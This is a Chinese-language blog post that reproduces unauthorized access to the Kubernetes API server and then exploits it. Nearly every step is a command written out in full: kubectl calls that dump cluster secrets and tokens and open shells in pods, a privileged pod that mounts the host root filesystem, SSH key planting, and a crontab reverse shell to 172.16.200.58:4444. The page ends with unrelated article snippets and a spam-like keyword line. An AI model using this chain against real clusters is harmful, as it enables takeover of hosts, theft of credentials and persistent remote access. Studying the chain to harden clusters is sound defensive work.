<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    K8s API Server未授權命令執行

    一顆小胡椒2023-02-15 10:05:24

    K8s 的API Server默認服務端口為8080(insecure-port)和6443(secure-port),8080端口提供HTTP服務,沒有認證授權機制,而6443端口提供HTTPS服務,支持認證(使用令牌或客戶端證書進行認證)和授權服務。默認情況下8080端口不啟動,而6443端口啟動。這兩個端口的開放取決于/etc/kubernetes/manifests/kube-apiserver.yaml配置文件。

    如果目標K8s的8080端口開啟了,由于其沒有認證授權機制,因此存在未授權訪問。

    如果目標K8s的6443端口開啟了,如果配置錯誤,也可以導致存在未授權訪問。

    漏洞復現

    8080端口

    默認情況下,8080端口關閉的,下面我們手動去開啟。

    cd /etc/kubernetes/manifestsvim kube-apiserver.yaml
    

    高版本的k8s中,將--insecure-port這個配置刪除了,因此手動添加如下兩行

    - --insecure-port=8080- --insecure-bind-address=0.0.0.0
    

    #重啟k8ssystemctl restart kubectl
    

    訪問8080端口即可看到存在未授權。


    也可以使用kubectl遠程連接獲得信息


    kubectl -s http://10.211.55.35:8080 get nodes
    

    注:在高版本(1.20及其以后)的K8s中直接禁用了該端口,并且無法打開。

    6443端口

    如果運維人員配置不當,將"system:anonymous"用戶綁定到"cluster-admin"用戶組,則會使得6443端口允許匿名用戶以管理員權限訪問。

    正常情況下訪問6443端口,提示Forbidden。

    執行如下命令將"system:anonymous"用戶綁定到"cluster-admin"用戶組。


    kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
    

    可以看到再次訪問訪問6443端口,即可未授權訪問。

    未授權利用

    以下以8080端口未授權為例,6443端口未授權利用方法一致。

    命令執行

    查看K8s集群信息

    執行如下命令查看K8s集群信息

    kubectl -s http://10.211.55.35:8080 cluster-info
    

    查看node節點信息

    執行如下命令查看K8s node節點信息

    #查看node節點kubectl -s http://10.211.55.35:8080 get nodes#查看node節點詳細信息kubectl -s http://10.211.55.35:8080 get nodes -o wide
    

    查看pod節點信息

    執行如下命令查看K8s pod信息

    #查看所有的podkubectl -s http://10.211.55.35:8080 get pods -A
    

    執行命令

    通過獲取到的pods節點信息,進入對應docker 命令執行。-n對應的是NAMESPACE,-it 對應的是NAME。


    #進入命名空間為default,名字為hello-minikube的容器kubectl -s http://10.211.55.35:8080 exec -n default -it hello-minikube -- /bin/bash#進入命名空間為kube-system,名字為etcd-ubuntu的容器kubectl -s http://10.211.55.35:8080 exec -n kube-system -it etcd-ubuntu -- /bin/sh
    


    獲取Token登錄dashboard

    訪問如下接口,即可看到K8s所有的Token,我們過濾找到dashboard-admin相關的Token。

    http://10.211.55.3:8080/api/v1/namespaces/kube-system/secrets/https://172.16.200.70:6443/api/v1/namespaces/kube-system/secrets/
    

    然后對其base64解碼一次,即可使用base64解碼后的Token登錄K8s的dashboard。在線base64編碼解碼:https://base64.us


    獲取宿主機權限

    通過k8s dashboard,創建特權Pods來獲得宿主機權限。登錄dashboard后臺后,點擊+號。

    然后輸入如下命JSON內容,創建名為myapp的pod,并且將宿主機的目錄掛在到了/mnt目錄下。


    apiVersion: v1kind: Podmetadata:  name: myappspec:  containers:  - image: nginx    name: container    volumeMounts:    - mountPath: /mnt      name: test  volumes:  - name: test    hostPath:      path: /
    

    然后可以看到剛剛創建的pod。

    點擊myapp名稱,再點擊如下。

    可以進入到命令窗口

    寫入SSH公鑰

    切換到/mnt/root/.ssh目錄下,寫入公鑰文件,即可免密登錄宿主機。

    定時任務反彈shell

    也可以往宿主機寫入crontab來反彈獲取shell,執行如下命令,將反彈shell的命令寫入/var/spool/cron/root文件中。


    echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/172.16.200.58/4444 0>&1" > root
    

    可以看到已經收到node節點反彈的shell了。

    chroot

    或者也可以直接chroot。


    chroot /mnt
    

    kubernetesk8s
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    K8s的主要目標是應對監管大規模容器的復雜性,其通過分布式節點集群管理微服務應用程序,支持擴展、回滾、零停機和自我修復。
    在2021年春季關于Kubernetes安全狀況的報告中,RedHat指出,94%的受訪者在其 Kubernetes環境中遇到過安全事件。這主要是因為在快速采用的同時,K8s仍在不斷發展。托管Kubernetes會將大部分負擔交給托管供應商,并讓組織能夠專注于工作負載而不是基礎設施。這將導致更少的配置錯誤,減少攻擊面。
    近日,云安全公司Aqua發現了一個大規模的加密貨幣挖礦活動,攻擊者利用Kubernetes基于角色的訪問控制來創建后門并運行挖礦惡意軟件。該活動被研究者命名為RBAC Buster,專家指出,這些攻擊正在野外攻擊至少60個集群。攻擊者還會檢查受感染服務器上競爭礦工惡意軟件的證據,并使用RBAC設置來實現持久駐留。專家們發現,自五個月前上傳以來,該Docker鏡像被拉取了14399次。
    對于在共享基礎設施上運行的容器化應用程序來說,安全是至關重要的。隨著越來越多的組織將其容器工作負載轉移到KubernetesK8s已經成為容器協調的首選平臺。而隨著這一趨勢,威脅和新的攻擊方式也越來越多,有必要加強所有的安全層。 在Kubernetes中,安全問題有兩個方面:集群安全和應用安全。我們已經在另一篇文章中介紹了集群安全。在這篇文章中,我們將探討如何確保Kubernetes部署和一般
    零信任策略下K8s安全監控最佳實踐
    Kubebot介紹Kubebot是一款基于Google 云平臺搭建,并且提供了Kubernetes后端的Slackbot安全測試工具。Google云端平臺帳戶。API服務器將請求以消息的形式轉發至PubSub ToolTopic。消息發布至Tool Subscription。Subscription Worker在K8s集群上以Docker容器運行,處理來自Tool Subscription的消息,Worker的數量也可以根據需要進行調整。Tool Worker會將修改信息回傳給Slack,并刪除Tool Worker,因為它們已經完成了自己的任務。Kubebot集成的自動化工作流程列表隨著更多工作流程的添加,此列表將不斷更新wfuzz basic authentication bruteforcingSlack中的Slash命令樣本/runtool nmap|-Pn -p 1-1000|google.com
    從云的虛擬化管理平臺和云網絡構架的一般性知識入手,以 Clos 云網絡架構和 Kubernetes管理平臺為例,俯瞰了當前云計算環境的全貌和細節,宏觀上總覽了云網絡架構和 Kubernetes 管理平臺,微觀上深入連接 fabrics 和容器的細節。
    作為全球數字化轉型的基礎設施,云計算已經在全球范圍得到大規模的應用。企業上云后的 IT 環境變成混合云、多云架構,其網絡暴露面變大,安全管理難度隨之加大,云安全成為各行各業最為關注的焦點之一。與全球相比,中國的云安全市場有共性也有明顯的差異。
    10月28日,美國國家安全局(NSA)和國土安全部網絡安全和基礎設施安全局(CISA)發布《5G云基礎設施安全指南第一編:預防和檢測橫向移動》(Security Guidance for 5G Cloud Infrastructures: Prevent and Detect Lateral Movement),旨在提升5G云基礎設施安全防護能力。
    Clair可以與K8s集成以持續掃描容器鏡像,分析容器映像并提供已知漏洞的報告。Checkov可以集成到CI/CD管道中,以防止部署不安全的設置。Kube-bench可用于驗證K8s的安裝、執行定期檢查并確保符合最佳實踐。它可以與K8s集成以提供流量管理、安全性和可觀察性。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类